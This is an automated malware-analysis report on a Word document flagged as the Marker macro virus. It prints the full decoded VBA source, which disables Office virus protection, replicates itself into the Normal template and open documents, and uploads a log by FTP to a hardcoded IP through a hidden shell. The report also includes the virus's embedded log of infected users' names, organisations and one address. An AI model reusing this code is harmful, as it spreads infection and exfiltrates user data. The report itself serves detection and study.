Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 64d081ef56a5db08…

MALICIOUS

Office (OLE) / .DOC

60.0 KB Created: 2010-01-29 09:32:00 Authoring application: Microsoft Macintosh Word First seen: 2026-06-27
MD5: 5f67e0599b819a21df8e9e73992efece SHA-1: 333b97a45e32256a1c00f47d4c28f1df8408e1f3 SHA-256: 64d081ef56a5db087cf319b488579b78a20fdb11191837f9e983092f6ba8769e
202 Risk Score

Heuristics 4

  • ClamAV: Doc.Trojan.Marker-31 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-31
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    'Switch the VirusProtection OFF
    Options.VirusProtection = False
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6005 bytes
SHA-256: 7db33281346874326349c2b4cec08a19bc3e6a6ceabcd24317db3bab322e4deb
Detection
ClamAV: Doc.Trojan.Marker-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Close()

On Error Resume Next

Const Marker = "<- this is a marker!"

'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String

'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)

DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)


'Switch the VirusProtection OFF
Options.VirusProtection = False


  If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
  
    If DocumentInfected = True Then
      LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
    ElseIf NormalTemplateInfected = True Then
      LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
    End If
    
    LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
    
    For i = 1 To 4
      LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
    Next i
    LogFile = "C:\hsf" & LogFile & ".sys"
    
    Open LogFile For Output As #1
    Print #1, LogData
    Close #1
    
    Open "c:\netldx.vxd" For Output As #1
    Print #1, "o 209.201.88.110"
    Print #1, "user anonymous"
    Print #1, "pass itsme@"
    Print #1, "cd incoming"
    Print #1, "ascii"
    Print #1, "put " & LogFile
    Print #1, "quit"
    Close #1
    
    Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
    
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
    
  End If


'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then
   
   
  'Infect the NormalTemplate
  If DocumentInfected = True Then
  
    SaveNormalTemplate = NormalTemplate.Saved
  
    OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)

    
    'Write a log file of this NormalTemplate infection
    For i = 1 To Len(Application.UserAddress)
      If Mid(Application.UserAddress, i, 1) <> Chr(13) Then
        If Mid(Application.UserAddress, i, 1) <> Chr(10) Then
          UserAddress = UserAddress & Mid(Application.UserAddress, i, 1)
        End If
      Else
        UserAddress = UserAddress & Chr(13) & "' "
      End If
    Next i

    OurCode = OurCode & Chr(13) & _
              "' " & Format(Time, "hh:mm:ss AMPM - ") & _
                     Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
              "' " & Application.UserName & Chr(13) & _
              "' " & UserAddress & Chr(13)


    nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
    nt.CodeModule.AddFromString OurCode
    
    If SaveNormalTemplate = True Then NormalTemplate.Save
    
  End If


  'Infect the ActiveDocument
  If NormalTemplateInfected = True And _
     (Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
     ActiveDocument.Saved = False) Then
  
    SaveDocument = ActiveDocument.Saved
    
    OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)

    ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
    ad.CodeModule.AddFromString OurCode
    
    If SaveDocument = True Then ActiveDocument.Save
      
  End If
  
    
End If

End Sub

' Logfile -->

' 09:08:36  - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
'



' 02:50:31 PM - Saturday, 28 Nov 1998
' MARK B. SEAY
'



' 08:04:45 AM - Friday, 4 Dec 1998
' UPS
'



' 11:43:35 AM - Thursday, 17 Dec 1998
' WRO
'



' 12:04:46 PM - Wednesday, 23 Dec 1998
' BCBSA
'



' 11:32:13 AM - Thursday, 24 Dec 1998
' BCBSA
'



' 11:43:52 AM - Monday, 28 Dec 1998
' BCBSA
'



' 12:03:48 PM - Wednesday, 6 Jan 1999
' Tricia
'



' 11:45:55 AM - Thursday, 14 Jan 1999
' Debra C. Hopkinson
'



' 04:41:56 PM - Monday, 18 Jan 1999
' Jim Klein
'



' 12:03:57 PM - Saturday, 23 Jan 1999
' Bob Rein
'



' 05:34:31 PM - Tuesday, 26 Jan 1999
' Garry Wood
' garry.wood@eds.com



' 03:40:31 PM - Friday, 29 Jan 1999
' CZ31KQ
'



' 10:42:55  - donderdag, 11 feb 1999
' Arnold Cobbaert
'



' 10:41:27  - woensdag, 17 feb 1999
' Ilse Van Holsbeeck
'



' 12:00:04  - Tuesday, 23 Feb 1999
' Ron van Valkengoed
'



' 05.44.51  - mercoledì, 24 feb 1999
' EDS ITALIA SPA
'



' 05.47.14  - martedì, 23 mar 1999
' Videoconf
'



' 01.08.34  - giovedì, 25 mar 1999
' Angela Peduzzi
'



' 03.00.40  - giovedì, 25 mar 1999
' Moira Masper
'



' 03:20:35  - giovedì, 15 apr 1999
' IAL LOMBARDIA
'



' 12.15.08  - mercoledì, 28 apr 1999
' 3
'



' 12.31.49  - giovedì, 29 apr 1999
' 2
'



' 03.43.43  - venerdì, 14 mag 1999
' Calveri Domenico
'



' 12.30.12  - venerdì, 28 mag 1999
' UTENTE1
'



' 05.48.51  - giovedì, 10 giu 1999
' ASS. NETWORK OCCUPAZIONE
'



' 08.33.53  - venerdì, 25 giu 1999
' FEDERICA MERIGGI
'



' 08.31.48  - lunedì, 27 set 1999
' Compaq User
'



' 10.56.16  - venerdì, 1 ott 1999
' .
'



' 05.31.51  - martedì, 28 ott 2003
' user
' AMMINISTRAZIONI IMMOBILIARI FABRIS
' Via Carso, 8/a int.1
' 48100 RAVENNA



' 10:40:13 PM - Martedì, 4 nov 2003
' Bibi
'



' 10:51:05 AM - Sabato, 10 gen 2004
' Dimma
'

' 10:52:37 AM - Lunedì, 24 ott 2005
' -
'



' 03:15:45 PM - Mercoledì, 18 gen 2006
' Rainoldi
'


' 12:44:56 PM - Martedì, 7 nov 2006
' __________________________
' __________Û_______________
'



' 02:10:13 PM - Lunedì, 18 feb 2008
' Utente Ame
' --
'



' 05:38:32 PM - Mercoledì, 4 giu 2008
' AME
'



' 11:34:46 AM - Mercoledì, 5 ott 2011
' AME
'